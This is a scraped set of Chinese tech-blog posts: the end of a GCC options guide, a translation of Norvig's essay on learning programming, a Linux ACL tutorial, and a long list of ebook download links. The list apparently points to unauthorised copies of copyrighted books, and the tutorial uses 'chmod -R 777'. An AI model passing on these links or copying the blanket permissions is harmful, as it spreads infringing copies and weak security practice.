生成用寄存器返回短结构的代码，如果寄存器无法荣纳将使用内存。\n-fstack-check 为防止程序栈溢出而进行必要的检测，在多线程环境中运行时才可能需要它。\n-ftime-report 编译完成后显示编译耗时的统计信息\n-funroll-loops 如果在编译时可以确定迭代的次数非常少而且循环中的指令也非常少，可以使用该选项进行循环展开，以驱除循环和复制指令。\n-finline-limit= 对伪指令数超过的函数，编译程序将不进行展开，默认为600\n\u0026#8211;param = gcc内部存在一些优化代码程度的限制，调整这些限制就是调整整个优化全局。下面列出了参数的名字和对应的解释：\n名字 解释\nmax-delay-slot-insn-search 较大的数目可以生成更优化的代码，但是会降低编译速度，默认为100\nmax-delay-slot-live-search 较大的数目可以生成更优化的代码，但是会降低编译速度，默认为333\nmax-gcse-memory 执行GCSE优化使用的最大内存量，太小将使该优化无法进行，默认为50M\nmax-gcse-passes 执行GCSE优化的最大迭代次数，默认为1\n*******************************************************************\n说完了命令行选项，下面来说说与硬件体系结构(主要是cpu)相关的设置[仅针对i386/x86_64]\n最大名鼎鼎的\u0026quot;-march\u0026quot;上面已经说过了，下面讲讲别的(仅挑些实用的)\n-mfpmath=sse P3和athlon-tbird以上级别的cpu支持\n-masm= 使用指定的dialect输出汇编语言指令，可以使用\u0026quot;intel\u0026quot;或\u0026quot;att\u0026quot;；默认为\u0026quot;att\u0026quot;\n-mieee-fp 指定编译器使用IEEE浮点比较，这样将会正确的处理比较结果为无序的情况。\n-malign-double 将double, long double, long long对齐于双字节边界上；有助于生成更高速的代码，但是程序的尺寸会变大。\n-m128bit-long-double 指定long double为128位，pentium以上的cpu更喜欢这种标准。\n-mregparm=N 指定用于传递整数参数的寄存器数目(默认不使用寄存器)。0\u0026lt;=N\u0026lt;=3 ；注意：当N\u0026gt;0时你必须使用同一参数重新构建所有的模块，包括所有的库。\n-mmmx\n-mno-mmx\n-msse\n-mno-sse\n-msse2\n-mno-sse2\n-msse3\n-mno-sse3\n-m3dnow\n-mno-3dnow\n上面的这些不用解释了，一看就明白，根据自己的CPU决定吧\n-maccumulate-outgoing-args 指定在函数引导段中计算输出参数所需最大空间，这在大部分现代cpu中是较快的方法；缺点是会增加代码尺寸。\n-mthreads 支持Mingw32的线程安全异常处理。对于依赖于线程安全异常处理的程序，必须启用这个选项。\n使用这个选项时会定义\u0026quot;-D_MT\u0026quot;，它将包含使用选项\u0026quot;-lmingwthrd\u0026quot;连接的一个特殊的线程辅助库，用于为每个线程清理异常处理数据。\n-minline-all-stringops 嵌入所有的字符串操作。可以提高字符串操作的性能，但是会增加代码尺寸。\n-momit-leaf-frame-pointer 不为叶子函数在寄存器中保存栈指针，这样可以节省寄存器，但是将会是调试变的困难。参见\u0026quot;-fomit-frame-pointer\u0026quot;。\n下面这几个仅用于x86_64环境：\n-m64 生成专门运行于64位环境的代码，不能运行于32位环境\n-mcmodel=small [默认值]程序和它的符号必须位于2GB以下的地址空间。指针仍然是64位。程序可以静态连接也可以动态连接。\n-mcmodel=kernel 内核运行于2GB地址空间之外。在编译linux内核时必须使用该选项！\n-mcmodel=medium 程序必须位于2GB以下的地址空间，但是它的符号可以位于任何地址空间。程序可以静态连接也可以动态连接。\n注意：共享库不能使用这个选项编译！\n-mcmodel=large 对地址空间没有任何限制，这个选项的功能目前尚未实现。\n＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝\n既然已经讲了这么多了索性再讲讲gcc使用的一些环境变量\n除了大名鼎鼎的CFLAGS和CXXFLAGS以外(其实是Autoconf的环境变量)，再挑几个说说：\n所有的PATH类环境变量(除LD_RUN_PATH外)都是用冒号分割的目录列表。\nC_INCLUDE_PATH 编译C程序时使用的环境变量，用于查找头文件。\nCPLUS_INCLUDE_PATH 编译C++程序时使用的环境变量，用于查找头文件。\nOBJC_INCLUDE_PATH 编译Obj-C程序时使用的环境变量，用于查找头文件。\nCPATH 编译C/C++/Obj-C程序时使用的环境变量，用于查找头文件。\nCOMPILER_PATH 如果没有用GCC_EXEC_PREFIX定位子程序，编译程序将会在此查找它的子程序。\nLIBRARY_PATH 连接程序将在这些目录中寻找特殊的连接程序文件。\nLD_LIBRARY_PATH 该环境变量不影响编译程序，但是程序运行的时候会有影响：程序会查找该目录列表以寻找共享库。\n当不能够在编译程序的目录中找到共享库的时候，执行程序必须设置该环境变量。\nLD_RUN_PATH 该环境变量不影响编译程序，但是程序运行的时候会有影响：它在运行时指出了文件的名字，运行的程序可以由此得到它的符号名字和地址。\n由于地址不会重新载入，因而可能符号应用其他文件中的绝对地址。这个和ld工具使用的\u0026quot;-R\u0026quot;选项完全一样。\nGCC_EXEC_PREFIX 编译程序执行所有子程序的名字的前缀，默认值是\u0026quot;/lib/gcc-lib/\u0026quot;，\n其中的是安装时configure脚本指定的前缀。\nLANG 指定编译程序使用的字符集，可用于创建宽字符文件、串文字、注释；默认为英文。[目前只支持日文\u0026quot;C-JIS,C-SJIS,C-EUCJP\u0026quot;，不支持中文]\nLC_ALL 指定多字节字符的字符分类，主要用于确定字符串的字符边界以及编译程序使用何种语言发出诊断消息；默认设置与LANG相同。\n中文相关的几项：\u0026quot;zh_CN.GB2312 , zh_CN.GB18030 , zh_CN.GBK , zh_CN.UTF-8 , zh_TW.BIG5\u0026quot;\nTMPDIR 编译程序存放临时工作文件的临时目录，这些临时文件通常在编译结束时被删除。\n","title":"GCC编译器选项及优化提示"},{"content":"原文：Teach Yourself Programming in Ten Years\n作者：Peter Norvig\n翻译：郭晓刚（foosleeper@163.net）\n最后修订日期：2004-3-19\n2005-01-12增加了新的译本链接。\n本中文译本得到了Peter Norvig的许可。\n为什么每个人都急不可耐？\n走进任何一家书店，你会看见《Teach Yourself Java in 7 Days》（7天Java无师自通）的旁边是一长排看不到尽头的类似书籍，它们要教会你Visual Basic、Windows、Internet等等，而只需要几天甚至几小时。我在Amazon.com上进行了如下搜索：\npubdate: after 1992 and title: days and (title: learn or title: teach yourself)\n(出版日期：1992年后 and 书名：天 and （书名：学会 or 书名：无师自通）)\n我一共得到了248个搜索结果。前面的78个是计算机书籍（第79个是《Learn Bengali in 30 days》，30天学会孟加拉语）。我把关键词\u0026ldquo;days\u0026rdquo;换成\u0026ldquo;hours\u0026rdquo;，得到了非常相似的结果：这次有253本书，头77本是计算机书籍，第78 本是《Teach Yourself Grammar and Style in 24 Hours》（24小时学会文法和文体）。头200本书中，有96%是计算机书籍。\n结论是，要么是人们非常急于学会计算机，要么就是不知道为什么计算机惊人地简单，比任何东西都容易学会。没有一本书是要在几天里教会人们欣赏贝多芬或者量子物理学，甚至怎样给狗打扮。\n让我们来分析一下像《Learn Pascal in Three Days》（3天学会Pascal）这样的题目到底是什么意思：\n* 学会：在3 天时间里，你不够时间写一些有意义的程序，并从它们的失败与成功中学习。你不够时间跟一些有经验的程序员一起工作，你不会知道在那样的环境中是什么滋味。简而言之，没有足够的时间让你学到很多东西。所以这些书谈论的只是表面上的精通，而非深入的理解。如Alexander Pope（译注：英国诗人、作家，1688-1744）所言，一知半解是危险的（a little learning is a dangerous thing）\n。\n* Pascal：在3 天时间里你可以学会Pascal的语法（如果你已经会一门类似的语言），但你无法学到多少如何运用这些语法。简而言之，如果你是，比如说一个Basic程序员，你可以学会用Pascal语法写出Basic风格的程序，但你学不到Pascal真正的优点（和缺点）。那关键在哪里？Alan Perlis（译注：ACM第一任主席，图灵奖得主，1922-1990）曾经说过：\u0026ldquo;如果一门语言不能影响你对编程的想法，那它就不值得去学\u0026rdquo;。另一种观点是，有时候你不得不学一点Pascal（更可能是Visual Basic和java script之类）的皮毛，因为你需要接触现有的工具，用来完成特定的任务。但此时你不是在学习如何编程，你是在学习如何完成任务。\n* 3天：不幸的是，这是不够的，正如下一节所言。\n10年编程无师自通\n一些研究者（Hayes、Bloom）的研究表明，在许多领域，都需要大约10 年时间才能培养出专业技能，包括国际象棋、作曲、绘画、钢琴、游泳、网球，以及神经心理学和拓扑学的研究。似乎并不存在真正的捷径：即使是莫扎特，他4 岁就显露出音乐天才，在他写出世界级的音乐之前仍然用了超过13年时间。再看另一种音乐类型的代表\u0026#8211;披头士，他们似乎是在1964年的Ed Sullivan节目中突然冒头的。但其实他们从1957年就开始表演了，即使他们很早就显示出了巨大的吸引力，他们第一次真正的成功之作《Sgt. Peppers》也要到1967年才发行。Samuel Johnson（译注：英国诗人）认为10 年还是不够的：\u0026ldquo;任何领域的卓越成就都只能通过一生的努力来获得；稍低一点的代价也换不来。\u0026rdquo; （Excellence in any department can be attained only by the labor of a lifetime; it is not to be purchased at a lesser price.） 乔叟（译注：Chaucer，英国诗人，1340- 1400）也抱怨说：\u0026ldquo;生命如此短暂，掌握技艺却要如此长久。\u0026rdquo;（the lyf so short, the craft so long to lerne.）\n下面是我在编程这个行当里获得成功的处方：\n* 对编程感兴趣，因为乐趣而去编程。确定始终都能保持足够的乐趣，以致你能够将10年时间投入其中。\n* 跟其他程序员交谈；阅读其他程序。这比任何书籍或训练课程都更重要。\n* 编程。最好的学习是从实践中学习。用更加技术性的语言来讲，\u0026ldquo;个体在特定领域最高水平的表现不是作为长期的经验的结果而自动获得的，但即使是非常富有经验的个体也可以通过刻意的努力而提高其表现水平。\u0026rdquo;（p. 366），而且\u0026ldquo;最有效的学习要求为特定个体制定适当难度的任务，有意义的反馈，以及重复及改正错误的机会。\u0026rdquo;（p. 20-21）《Cognition in Practice: Mind, Mathematics, and Culture in Everyday Life》（在实践中认知：心智、数学和日常生活的文化）是关于这个观点的一本有趣的参考书。\n* 如果你愿意，在大学里花上4年时间（或者再花几年读研究生）。这能让你获得一些工作的入门资格，还能让你对此领域有更深入的理解，但如果你不喜欢进学校，（作出一点牺牲）你在工作中也同样能获得类似的经验。在任何情况下，单从书本上学习都是不够的。\u0026ldquo;计算机科学的教育不会让任何人成为内行的程序员，正如研究画笔和颜料不会让任何人成为内行的画家\u0026rdquo;，Eric Raymond，《The New Hacker\u0026#8217;s Dictionary》（新黑客字典）的作者如是说。我曾经雇用过的最优秀的程序员之一仅有高中学历；但他创造出了许多伟大的软件，甚至有讨论他本人的新闻组，而且股票期权让他达到我无法企及的富有程度（译注：指Jamie Zawinski，XEmacs和Netscape Navigator的作者）。\n* 跟别的程序员一起完成项目。在一些项目中成为最好的程序员；在其他一些项目中当最差的一个。当你是最好的程序员时，你要测试自己领导项目的能力，并通过你的洞见鼓舞其他人。当你是最差的时候，你学习高手们在做些什么，以及他们不喜欢做什么（因为他们让你帮他们做那些事）。\n* 接手别的程序员完成项目。用心理解别人编写的程序。看看在没有最初的程序员在场的时候理解和修改程序需要些什么。想一想怎样设计你的程序才能让别人接手维护你的程序时更容易一些。\n* 学会至少半打编程语言。包括一门支持类抽象（class abstraction）的语言（如Java或C++），一门支持函数抽象（functional abstraction）的语言（如Lisp或ML），一门支持句法抽象（syntactic abstraction）的语言（如Lisp），一门支持说明性规约（declarative specification）的语言（如Prolog或C++模版），一门支持协程（coroutine）的语言（如Icon或Scheme），以及一门支持并行处理（parallelism）的语言（如Sisal）。\n* 记住在\u0026ldquo;计算机科学\u0026rdquo;这个词组里包含\u0026ldquo;计算机\u0026rdquo;这个词。了解你的计算机执行一条指令要多长时间，从内存中取一个word要多长时间（包括缓存命中和未命中的情况），从磁盘上读取连续的数据要多长时间，定位到磁盘上的新位置又要多长时间。（答案在这里。）\n* 尝试参与到一项语言标准化工作中。可以是ANSI C++委员会，也可以是决定自己团队的编码风格到底采用2个空格的缩进还是4个。不论是哪一种，你都可以学到在这门语言中到底人们喜欢些什么，他们有多喜欢，甚至有可能稍微了解为什么他们会有这样的感觉。\n* 拥有尽快从语言标准化工作中抽身的良好判断力。\n抱着这些想法，我很怀疑从书上到底能学到多少东西。在我第一个孩子出生前，我读完了所有\u0026ldquo;怎样\u0026hellip;\u0026hellip;\u0026rdquo;的书，却仍然感到自己是个茫无头绪的新手。30个月后，我第二个孩子出生的时候，我重新拿起那些书来复习了吗？不。相反，我依靠我自己的经验，结果比专家写的几千页东西更有用更靠得住。\nFred Brooks在他的短文《No Silver Bullets》（没有银弹）中确立了如何发现杰出的软件设计者的三步规划：\n1. 尽早系统地识别出最好的设计者群体。\n2. 指派一个事业上的导师负责有潜质的对象的发展，小心地帮他保持职业生涯的履历。\n3. 让成长中的设计师们有机会互相影响，互相激励。\n这实际上是假定了有些人本身就具有成为杰出设计师的必要潜质；要做的只是引导他们前进。Alan Perlis说得更简洁：\u0026ldquo;每个人都可以被教授如何雕塑；而对米开朗基罗来说，能教给他的倒是怎样能够不去雕塑。杰出的程序员也一样\u0026rdquo;。\n所以尽管去买那些Java书；你很可能会从中找到些用处。但你的生活，或者你作为程序员的真正的专业技术，并不会因此在24小时、24天甚至24个月内发生真正的变化。\n参考文献\nBloom, Benjamin (ed.) Developing Talent in Young People, Ballantine, 1985. Brooks, Fred, No Silver Bullets, IEEE Computer, vol. 20, no. 4, 1987, p. 10-19. Hayes, John R., Complete Problem Solver, Lawrence Erlbaum, 1989. Lave, Jean, Cognition in Practice: Mind, Mathematics, and Culture in Everyday Life, Cambridge University Press, 1988. 答案\n各种操作的计时，2001年夏天在一台典型的1GHz PC上完成：\n执行单条指令　1 纳秒 = (1/1,000,000,000) 秒\n从L1缓存中取一个word　2 纳秒\n从主内存中取一个word　10 纳秒\n从连续的磁盘位置中取一个word　200 纳秒\n从新的磁盘位置中取一个word（寻址）　8,000,000纳秒 = 8毫秒\n脚注\nT. Capey指出Amazon上面《Complete Problem Solver》的页面中，《Teach Yourself Bengali in 21 days》和《Teach Yourself Grammar and Style》被列在了\u0026ldquo;购买此书的顾客还买了以下书籍\u0026rdquo;栏目里面。我猜其中一大部分察看这两本书的人都是从我这里过去的。\n译本\n感谢以下作者将本文翻译成其他语言：\n日文（Yasushi Murakawa），中文（郭晓刚），繁体中文（Jason Chen），西班牙文（Carlos Rueda），德文（Stefan Ram），法文（P. E. Allary），土耳其文（？a??l Ulu?ahin）。\nPeter Norvig (Copyright 2001)\n","permalink":"https://hessian.cn/p/320.html","summary":"原文：Teach Yourself Programming in Ten Years\n作者：Peter Norvig\n翻译：郭晓刚（foosleeper@163.net）\n最后修订日期：2004-3-19\n2005-01-12增加了新的译本链接。\n","title":"10年编程无师自通"},{"content":"引:Windows系统其实和Linux系统有相似的地方，Windows系统文件、目录的属性有只读、隐藏，而Linux也一样。\nLinux中，每一个文件都具有特定的属性。主要包括文件类型和文件权限两个方面。可以分为5种不同的类型：普通文件、目录文件、链接文件、设备文件和管道文件。\n所谓的文件权限，是指对文件的访问权限，包括对文件的读、写、删除、执行。Linux 是一个多用户操作系统，它允许多个用户同时登录和工作。因此 Linux 将一个文件或目录与一个用户或组联系起来。访问控制列表(ACL：Access Control List)为计算机提供更好的访问控制，它的作用是限制包括root用户在内的所有用户对文件、资源或者套接字的访问。下面就来教大家简单的设置方法。\n步骤1 检查系统核心\n首先检查你的Linux系统的核心是否有支持ACL的功能。因为Linux系统并不是每一个版本的核心都有支持ACL的功能，而最简单的方法就是检查系统目前的核心能否支持：\n[root@mail /]# cat /boot/config-kernel-version | grep -i ext3\nCONFIG_EXT3_FS=m\nCONFIG_EXT3_IDEX=y\nCONFIG_EXT3_FS_XATTR_SHARING=y\nCONFIG_EXT3_FS_XATTR_USER=y\nCONFIG_EXT3_FS_XATTR_TRUSTED=y\nCONFIG_EXT3_FS_ACL=y\n此时如果能看到上面的几项则表示已经编译到核心中,ext3文件系统已支持ACL功能，这些功能在编译核心选项中都可以找到。如果编译时找不到，可以到ACL的官方网站来安装Kernel(acl.bestbits.at/)。\n步骤2 挂载分区\n你可以用下列的方式挂载分区并启用ACL：\n#mount -t ext3 -o acl /dev/sda1 /fs1\n你也可以直接写在/etc/fstab文件中,这样就可以在开机后支持ACL功能：\n#vi /etc/fstab\n步骤3 设置ACL权限\nACL常常针对个别用户来进行设置，下面是多个不同的例子：\n例如需要创建test1、test2、test3三个用户，可以先用root身份登录系统，然后执行以下命令分别创建三个用户名和密码：\n[root@mail root]#adduser test1\n[root@mail root]#adduser test2\n[root@mail root]#adduser test3\n[root@mail root]#passwd test1\n[root@mail root]#passwd test2\n[root@mail root]#passwd test3\n然后mount一个ext3文件到目录/fs1：\n[root@mail root]#mount -t ext3 -o acl /dev/sda1 /fs1\n再将test1 建立的文件设置读写的权限给test2 ：\n[root@mail root]#chmod -R 777 /fs1\n让所有的用户都能增加文件到目录的权限：\n先用test1登录系统，执行命令：\n[test1@mail test1]# cd /fs1\n[test1@mail fs1]# echo \u0026quot;Create by test1\u0026quot; \u0026gt; test1.txt\n[test1@mail fs1]# chmod go-r test1.txt\n[test1@mail fs1]# ll test1.txt\n-rw\u0026#8212;\u0026#8212;- 1 test1 test1 17 Jul 14 22:11 test1.txt\n而如下操作则可以让除了test1有读写的权限外其他人没有读写test1.txt的权限(root除外)，先用test2 登录系统后执行以下命令：\n[test2@mail test2]# cd /fs1\n[test2@mail fs1]# cat test1.txt\ncat : test1.txt Permission denied\n接着用test1登录系统，执行如下命令：\n[test1@mail fs1]# setfacl -m u:test2:rw test1.txt\n这样就修改权限允许test2 有这个文件的读写权限。再看一下它的文件属性的变化：\n[test1@mail fs1]# ll\n-rw-rw-r\u0026#8211;+ 1 test1 test1 10 Feb 16 13:52 test1.txt\n会看到后面多了一个\u0026ldquo;+\u0026rdquo;，表示这个文件使用ACL的属性设置，再用命令getfacl来看ACL的文件属性设置：\n[test1@mail fs1]# getfacl test1.txt\n# file \u0026amp;: test1.txt\n# owner: test1\n# group: test1\nuser::rw-\nuser:test2:rw-\ngroup::rw-\nmask::rw-\nother::r\u0026#8211;\n可以看到 test2 有权限读写这个文件。\n我们再用test2登录系统执行以下命令，看看发生了什么？\n[test2@mail test2]# cd /fs1\n[test2@mail fs1]# cat test1.txt\nCreate by test1\n原来test2可以读取test1.txt文件了。\n[test2@mail fs1]# echo \u0026quot;Modify by test2\u0026quot; \u0026gt;\u0026gt; test1.txt\n[test2@mail fs1]# cat test1.txt\nCreate by test1\nModify by test2\n现在test2也可以修改test1.txt文件了。\n接着用test3 登录系统：\n[test3@mail test3]# cd /fs1\n[test3@mail fs1]# cat test1.txt\ncat : test1.txt Permission denied\n嘿嘿，除了test1、test2外没有其他用户有读写test1.txt的权限(root 除外)。\n看着虽然有点晕，其实命令就是这么一两条，主要是把各种情况给大家讲清楚，这样，大家在使用Linux中才会发现，比起脆弱的Windows的权限防护，Linux实在是做得相当不错！\n","permalink":"https://hessian.cn/p/396.html","summary":"引:Windows系统其实和Linux系统有相似的地方，Windows系统文件、目录的属性有只读、隐藏，而Linux也一样。\nLinux中，每一个文件都具有特定的属性。主要包括文件类型和文件权限两个方面。可以分为5种不同的类型：普通文件、目录文件、链接文件、设备文件和管道文件。\n","title":"解读Linux系统文件权限的设置方法"},{"content":"1.vc++技术内幕第四版 (潘爱民) ftp://210.32.157.56/课件/c++primer/vc++技术内幕IV(潘爱民).rar 2.C++经典对话系列 中文：http://www.jka77.com/book/cvst_cn.chm 3.MFC Windows 程序设计(第二版) 英文版：http://www.jka77.com/book/progmfc2.chm 中文版：暂无，制作中\u0026#8230; 4.Effective C++中文版： http://dlb.pchome.net/development/reference/effectiveCplus.zip 5.More Effective C++中文版-zhc译 http://cable.pchome.net/development/reference/MEC0410.zip 6.More Effective C++中文版-候捷译 http://www.nethovel.com/resources/MoreEffectiveC++(WQ).zip 7.Essential C++中文版(全)－候捷译 http://www.nethovel.com/resources/Essential%20C++中文版(全).rar 8.深入浅出MFC 2/e http://218.30.21.125:8084/ebook/programme/mfc2e.zip 9.代码大全中文版 http://www.delphidevelopers.com/docs/tecsubject/cc/CodeComplet110.zip 11.C++经典对话系列 中文：http://www.jka77.com/book/cvst_cn.chm 12.MFC Windows 程序设计(第二版) 英文版：http://www.jka77.com/book/progmfc2.chm 中文版：暂无，制作中\u0026#8230; 13.数据结构 C++ 语言描述(中文版) http://www.code-labs.com/manual/c_c015.zip 14.Java编程思想中文版 ftp://202.118.72.12/pub/doc-book/Java/Java编程思想.zip 15.C++标准库英文版 ftp://166.111.64.4/incoming/新文件夹/f/The%20C++%20Standard%20Library(with%20TOC).pdf 16.Windows核心编程 英文：http://www.fmdstudio.net/book/prgapps4.zip 17.TCP-IP详解卷1：协议 ftp://202.204.4.161/学习资料/TCPIP/TCP-IP详解卷1：协议.pdf 18.TCP-IP详解卷2：实现 ftp://202.204.4.161/学习资料/TCPIP/TCP-IP详解卷3：TCP事务协议，HTTP，NNTP.pdf 19.TCP-IP详解卷3：TCP事务协议 ftp://202.204.4.161/学习资料/TCPIP/TCP-IP详解卷2：实现.pdf 20.实用算法的分析与程序设计 ftp://202.204.8.10/[4]%20编程资源/[%20书籍资料%20]/[算法与数据结构]/实用算法的分析与程序设计.rar 21.vc++技术内幕第四版 (潘爱民) ftp://210.32.157.56/课件/c++primer/vc++技术内幕IV(潘爱民).rar 22.C++ Primer英文版： http://computerstep.w18.net/C/C++%20Primer.zip 23.Effective C++中文版： http://dlb.pchome.net/development/reference/effectiveCplus.zip 24.More Effective C++中文版-zhc译 http://cable.pchome.net/development/reference/MEC0410.zip 25.More Effective C++中文版-候捷译 http://www.nethovel.com/resources/MoreEffectiveC++(WQ).zip 26.Essential C++中文版(全)－候捷译 http://www.nethovel.com/resources/Essential%20C++中文版(全).rar 27.Programming Windows程式开发设计指南－Petzoldi著 余孟学 译 中文版：http://www.nethovel.com/resources/ProgrammingWindows_tw.chm 英文版：http://www.nethovel.com/resources/Petzoldi.chm 28.WinAsm32汇编教程－ Iczelion http://www.nethovel.com/resources/winasm.chm 29.Windows 95 程序设计指南－候捷译 http://www.nethovel.com/resources/win95adg.zip 30.Thinking in C++ 2nd Edition(C++编程思想) 英文版：http://www.nethovel.com/resources/ThinkinginC++.zip 中文版：http://www.dingbing.com/book/thinkc.zip 31.人月神话－中文版 http://www.goodassister.com/book/rysh.pdf 32.The C++ Programming Language英文 http://computerstep.w18.net/C/The%20C++%20Programming%20Language.rar 33.VC技术内幕第五版 http://www.helpwork.com/downdata/book/programming/vc/book/vc++2/invcpp5.chm 34.com技术内幕 http://www.helpwork.com/book/html/user/download.asp?id=1123 35.com＋技术内幕 http://www.helpwork.com/book/html/user/download.asp?id=952 36.新编 Windows API参考大全 http://www.4046.com/nnsrc/down/WindowsAPIdq.rar 37.The C programming Language // By Brian W. Kernighan and Dennis M. Ritchie 下载地址：http://www.jka77.com/book/The_C_programmin.chm 38.C语言编程手册 下载地址：http://www.jka77.com/book/CL.chm 39.Delphi 7高效数据库程序设计 By 李维 下载地址:http://www.codestudy.net/book/download.asp?id=1163\u0026amp;sort=5 40.Windows网络编程(第2版) By Anthony Jones,Jim Ohlund 清华大学出版社 下载地址：英文版:http://www.guxiang.com/epubcn/readings/diannaotushu/500/download/1107/network_prog_for_win_2nd.zip 41.Windows2000编程技术内幕 By Mickey Williams 机械工业出版社 下载地址：ftp://ftp.frontfree.net/Pub/Books/C\u0026amp;C++/VC/Windows2000编程技术内幕.rar 42.数据仓库 By W.H.Inmon 清华大学出版社 下载地址1：http://tips.9hao.com/vvbksd/20011120/数据仓库.zip 下载地址2: ftp://ftp.math.nankai.edu.cn/Ebook/China-pub/chinapub_computerscience_multimedia/ComputerScience/%CA%FD%BE%DD%B2%D6%BF%E2/ 43.编码的奥秘 By Charles Petzold 机械工业出版社 下载地址：ftp: //ftp.math.nankai.edu.cn/Ebook/China-pub/chinapub_computerscience_multimedia/ComputerScience/%B1%E0%C2%EB%B5%C4%B0%C2%C3%D8/ 44.编译原理及实践 By Louden, K.C 机械工业出版社 下载地址：ftp: //ftp.math.nankai.edu.cn/Ebook/China-pub/chinapub_computerscience_multimedia/ComputerScience/%B1%E0%D2%EB%D4%AD%C0%ED%BC%B0%CA%B5%BC%F9/ 45.Inside C++ Object Model(深度探索C++对象模型） By Lippman 候捷译 下载地址：http://www.jka77.com/book/inside-the-cpp-object-model.pdf 46.C++标准程序库 By Josuttis 下载地址1：http://www.codestudy.net/book/download.asp?id=1205\u0026amp;sort=5 下载地址2: ftp://ftp.math.nankai.edu.cn/Ebook/C_C++/The Cpp Standard Library.pdf 47.STL源码剖析 By 候捷 下载地址：ftp://ftp.math.nankai.edu.cn/Ebook/C_C++/STL源码剖析\u0026#8211;侯捷.pdf 48.C++批判(第三版) -看看C++的坏话！ By I don\u0026#8217;t know 下载地址：http://www.jka77.com/book/CPPPP.pdf 49.程序设计实践 下载地址：ftp://ftp.math.nankai.edu.cn/Ebook/China-pub/chinapub_computerscience_multimedia/%B3%CC%D0%F2%C9%E8%BC%C6%CA%B5%BC%F9/ 50.c++沉思录 By Andrew Koenig Barbara Moo 人民邮电出版社 下载地址：http://www.codestudy.net/book/download.asp?id=1261\u0026amp;sort=5 51.C++Builder4技术内幕 (这本书俺不知道好不好） By I don\u0026#8217;t Know 下载地址：http://www.codestudy.net/book/download.asp?id=1254\u0026amp;sort=5 52.下面两本书一般大家硬盘里都有的吧，而且很老了，但是为了全面，就提上来吧 (1)Windows 95 程式设计指南 \u0026#8211; 候捷 下载地址：http://jjhou.csdn.net/win95-a-developers-guide.pdf (2)Windows 95 系统程式设计大奥秘 \u0026#8211; 候捷 下载地址：http://jjhou.csdn.net/windows95-system-programming-secrets.pdf 53. 中国大百科全书\u0026middot;数学 下载地址：ftp://ftp.math.nankai.edu.cn/Ebook/中国大百科全书/中国大百科全书\u0026middot;数学.pdf 54、4.0M Bjarne Stroustrup \u0026#8211; The C++ Programming Language http://www.u-n-f.com/books/archive/The%20C++%20Programming%20Language.tar.gz 55、1.0M Richard Stevens \u0026#8211; TCP-IP Illustrated http://www.u-n-f.com/books/archive/TCP-IP%20Illustrated.tar.gz 56、4.5M Randall Hyde \u0026#8211; Art Of Assembly http://www.u-n-f.com/books/archive/Randall%20Hyde%20-%20Art%20Of%20Assembly.tar.gz 57、2.1M M. Abrash \u0026#8211; Zen of Graphics Programming http://www.u-n-f.com/books/archive/M.%20Abrash%20-%20Zen%20of%20Graphics%20Programming.zip 58、249k Kernighan and Ritche \u0026#8211; The C Programming Language http://www.u-n-f.com/books/archive/Kernighan%20and%20Ritchie%20-%20The%20C%20Programming%20Language.zip 59、3.3M Bruce Schneier \u0026#8211; Applied Cryptography http://www.u-n-f.com/books/archive/Bruce%20Schneier%20-%20Applied%20Cryptography.zip 60、PHP4_Grundlagen_und_Profiwissen http://www.u-n-f.com/books/archive/lamp/PHP4_Grundlagen_und_Profiwissen.pdf 61.《C++ Builder高级编程技术》 http://www.dingbing.com/book/builder.zip 62.《VC++ 6.0 TLR 模板库参考手册》 http://www.easysea.com/diannao/download/prog/c/mbkc.zip 63.《BORLAND C++ BUILDER 实用培训教程》 http://202.101.232.120/book/openfile.asp?id=223\u0026amp;filename=BC98_CB526.zip 64.《Delphi高级开发指南》 http://www.pcbookcn.com/s10899book/program/delphi/Delphi_gjkfzn_for3.rar 65.《新编 Windows API参考大全》 ftp://book:book@down.pcbookcn.com/pro/delphi/新编Windows_API_参考大全.rar 66.《Delphi深度历险-附书源码》 http://www.pcbookcn.com/s10899book/program/delphi/Delphi_sdlx_code.rar 67.《Delphi 7高效数据库程序设计》 ftp://book:book@down.pcbookcn.com/pro/delphi/李维的新书《Delphi7高效数据库程序设计》.rar 68.《Delphi7开发指南》 ftp://book:book@down.pcbookcn.com/pro/delphi/delphi7开发指南.rar 69.《Delphi6集成开发环境》 ftp://book:book@down.pcbookcn.com/pro/delphi/Delphi6集成开发环境.rar 70.《Delphi6数据库编程》 ftp://book:book@down.pcbookcn.com/pro/delphi/Delphi6数据库编程.rar 72.《Delphi5.xADO_MTS_COM+高级程序设计篇》 ftp://book:book@down.pcbookcn.com/pro/delphi/Delphi5.xADO_MTS_COM+高级程序设计篇.rar 73.《VISUAL BASIC 编程标准》 http://www.dingbing.com/book/vb.zip 74.《Visual Basic6.0中文版程序员指南》 http://www.easysea.com/diannao/download/prog/vb/zwbc.zip 75.《Visual Basic 6.0 控件参考手册》 http://www.easysea.com/diannao/download/prog/vb/kjck.zip 76.《Visual Basic 6.0中文版语言参考手册》 http://www.easysea.com/diannao/download/prog/vb/zwby.zip 77.《Visual Basic 6.0 开发宝典》 http://www.easysea.com/diannao/download/prog/vb/kfbd.zip 78.《Visual Basic 6.0 实例教程》 http://www.easysea.com/diannao/download/prog/vb/sljc.zip 79.《VB 6.0 中文版实用参考手册》 http://www.easysea.com/diannao/download/prog/vb/syck.zip 80.《Visual Basic 6开发人员指南》 http://www.easysea.com/diannao/download/prog/vb/kfzn.zip 81.《VB 和 SQL Server 编程指南（第五版）》 http://www.easysea.com/diannao/download/prog/vb/bczn.zip 82.《Jbuilder 5 中文帮助》 http://www.pdown.net/download.asp?downid=2\u0026amp;id=991 83.《JBuilder开发人员指南》 http://youth.dlmu.edu.cn/book/list_down.php?bkid=224 84.《Win32的Internet函数说明》 档案大小： 245248K http://www.easysea.com/diannao/download/prog/windows/win32int.zip 85.《Visual InterDev 从入门到精通》 http://www.easysea.com/diannao/download/prog/interdev/crmd.wdl 86.《Visual InterDev 6.0 Web 参考手册 》 http://www.easysea.com/diannao/download/prog/interdev/jsck.zip 87.《Visual InterDev 6.0 Guide 程序员》 http://www.easysea.com/diannao/download/prog/interdev/cxyz.zip 88.《JavaScript 程序开发手册》 http://www.cty99.com/Templet/bookdownmore.asp?booktype=script# 89.《JAVA 大全》 http://www.easysea.com/diannao/download/prog/java/cxkf.zip 90.《Visual J++ 6.0 WFC 类库参考手册》 http://www.easysea.com/diannao/download/prog/java/lkck.zip 91.《Java联想（中文）》 http://www.easysea.com/diannao/download/prog/java/lkck.zip 92.《Oracle 8 实用大全》 http://www.easysea.com/diannao/download/prog/oracle/sydq.zip 93.《Microsoft SQL Server 管理员手册》 